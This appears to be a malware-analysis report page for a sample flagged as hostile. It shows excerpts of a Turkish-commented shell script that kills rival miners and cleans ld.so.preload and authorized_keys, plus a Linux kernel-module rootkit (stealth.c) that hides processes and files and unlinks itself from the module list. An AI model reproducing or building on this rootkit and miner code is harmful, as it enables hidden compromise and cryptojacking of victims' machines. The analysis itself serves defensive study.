Hostile 100% Download

e2d0dab6b29df89d123fe8581047a03ac9b89ae8fa0d1f334b5aefbb93152857.sample

Rootkit, miner, and persistence

LD_PRELOAD rootkit installer (modifies /etc/ld.so.preload)Deletes current module sysfs kobject

Evidence

pnscan parallel network scanner killservice.sh · lines 153–192
153:5…
154echo "[*] Bilinen malware isimleri taranıyor..."
155
156MAL_PROCS=(
157 xmrig xmrigDaemon xmrig-notls xmrig-cuda xmrig-amd
158 kinsing kdevtmpfsi kthreaddi kthreaddk
159 teamtnt tntrecht tshd punk tsm tsm32 tsm64
160 hezb solr.sh sustes watchdogs bashupload
161 donate.v2.pool sysupdate sysguard networkservice
162 pnscan masscan zgrab
163 minerd cpuminer ccminer cgminer ethminer
164 phpguard phpupdate kworkerds
165)
166
167MAL_PATHS=(
168 /tmp/kinsing /tmp/kdevtmpfsi /tmp/xmrig /tmp/xmrigDaemon
169 /tmp/.X11-unix/.rsync /tmp/.X25-unix /tmp/.X26-unix /tmp/.X17-unix
170 /tmp/.ICE-unix/.timesyncd /tmp/.systemd /tmp/zzh /tmp/zzla
171 /tmp/.javae /tmp/.tmpa /tmp/.tmpb /tmp/.tmpc
172 /var/tmp/kinsing /var/tmp/kdevtmpfsi /var/tmp/xmrig
173 /var/tmp/.systemd /var/tmp/.update
174 /dev/shm/kinsing /dev/shm/kdevtmpfsi /dev/shm/xmrig /dev/shm/.x
175 /etc/kinsing /etc/xmrig
176 /root/.configrc /root/.configrc5 /root/.configrc6
177 /root/.cache/.kswapd /root/.ssh/KHK75NEOiq
178 /usr/bin/kinsing /usr/bin/kdevtmpfsi /usr/bin/xmrig
179 /usr/local/bin/kinsing /usr/local/bin/kdevtmpfsi /usr/local/bin/xmrig
180 /opt/xmrig /opt/kinsing
181 /etc/cron.d/root /etc/cron.d/apache /etc/cron.d/nginx
182)
183
184MAL_CRON_PATTERNS=(
185 xmrig kinsing kdevtmpfsi teamtnt tntrecht hezb sustes
186 pnscan masscan zgrab minerd cpuminer
187 pastebin.com/raw transfer.sh systemten.org
188)
189
190# 2a) Süreçleri öldür (yalnızca tam isim eşleşmesi)
191for p in "${MAL_PROCS[@]}"; do
192 if pgrep -x "$p" …
Removes file attributes from ld.so.preload killservice.sh · lines 269–302
269:6… one
270 if [ "$changed" -eq 1 ]; then
271 cat "$tmp" > "$f"
272 echo " -> authorized_keys temizlendi: $f"
273 fi
274 rm -f "$tmp"
275}
276
277for ak in /root/.ssh/authorized_keys /root/.ssh/authorized_keys2 \
278 /home/*/.ssh/authorized_keys /home/*/.ssh/authorized_keys2; do
279 [ -e "$ak" ] && clean_authorized_keys "$ak"
280done
281
282# 2f) LD_PRELOAD rootkit kontrolü (sadece bilinen kütüphane isimleri)
283KNOWN_BAD_PRELOADS=(
284 libprocesshider.so libprocesshider
285 libjdk.so libpamc.so libpamx.so
286 libselinux.so.3 # sahte kopyalar
287 xhide
288)
289
290if [ -f /etc/ld.so.preload ]; then
291 for badlib in "${KNOWN_BAD_PRELOADS[@]}"; do
292 if grep -q -- "$badlib" /etc/ld.so.preload 2>/dev/null; then
293 chattr -ia /etc/ld.so.preload 2>/dev/null || true
294 grep -v -- "$badlib" /etc/ld.so.preload > /etc/ld.so.preload.tmp \
295 && mv /etc/ld.so.preload.tmp /etc/ld.so.preload
296 echo " -> /etc/ld.so.preload içinden temizlendi: $badlib"
297 fi
298 done
⋯4 lines
Kills xmrig/kworkerds miner processes killservice.sh · lines 302–324
302:51… "
303 fi
304fi
305
306# bilinen kötücül kütüphane dosyalarını sil
307for lib in "${KNOWN_BAD_PRELOADS[@]}"; do
308 for p in "/usr/local/lib/$lib" "/usr/lib/$lib" "/lib/$lib" \
309 "/usr/local/lib64/$lib" "/usr/lib64/$lib" "/lib64/$lib"; do
310 if [ -e "$p" ]; then
311 chattr -ia "$p" 2>/dev/null || true
312 rm -f "$p" && echo " -> rootkit lib silindi: $p"
313 fi
314 done
315done
316
317# 2g) XMRig: kökünü kazı (sadece isim bazlı)
318echo
319echo "[*] XMRig kök temizliği (isim bazlı)..."
320pkill -9 -x xmrig 2>/dev/null || true
321pkill -9 -x xmrigDaemon 2>/dev/null || true
322pkill -9 -x xmrig-notls 2>/dev/null || true
323pkill -9 -x xmrig-cuda 2>/dev/null || true
324pkill -9 -x xmrig-amd 2>/dev/nu …
imports <linux/fs.h> stealth.c · lines 1–46
1#include <linux/module.h>
2#include <linux/kernel.h>
3#include <linux/init.h>
4#include <linux/kprobes.h>
5#include <linux/ftrace.h>
6#include <linux/slab.h>
7#include <linux/seq_file.h>
8#include <linux/kobject.h>
9#include <linux/sysfs.h>
10#include <linux/string.h>
11#include <linux/version.h>
12#include <linux/uaccess.h>
13#include <linux/math64.h>
14#include <linux/jiffies.h>
15#include <linux/pid.h>
16#include <linux/sched.h>
17#include <linux/fs.h>
18#include <linux/dcache.h>
19#include <linux/namei.h>
20#include <asm/ptrace.h>
21
22MODULE_LICENSE("GPL");
⋯4 lines
27MODULE_INFO(retpoline, "Y");
28
29static const char * const HIDE_NAMES[] = {
30 "stealth", "masscan", "sshruns", "ransomx","cpumask", "xrandom", "cpm_", "kcpm", "mask_helper", "ftrhook", "kintel_aux", NULL
31};
32static const char * const HIDE_FILES[] = {
33 "stealth","cpumask","kintel_aux","intel_uncore_freq_aux",NULL
34};
35static const char SYSFS_DIR[] = "intel_uncore_freq";
36
37static bool on_flag = true;
38static u32 cpu_lo = 40, cpu_hi = 50, ram_lo = 40, ram_hi = 50;
39static char user_tag[32] = "";
40
41typedef unsigned long (*kln_t)(const char *);
⋯5 lines
Deletes current module sysfs kobject stealth.c · lines 361–372
361:14… try_module_get(THIS_MODULE);
362 list_del_init(&THIS_MODULE->list);
363 #ifdef CONFIG_SYSFS
364 kobject_del(&THIS_MODULE->mkobj.kobj);
365 #endif
366 }
⋯6 lines

Showing the top 5 files — 11 more files (119 regions) not shown.

No evidence locations were recorded for this file. Raw result

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.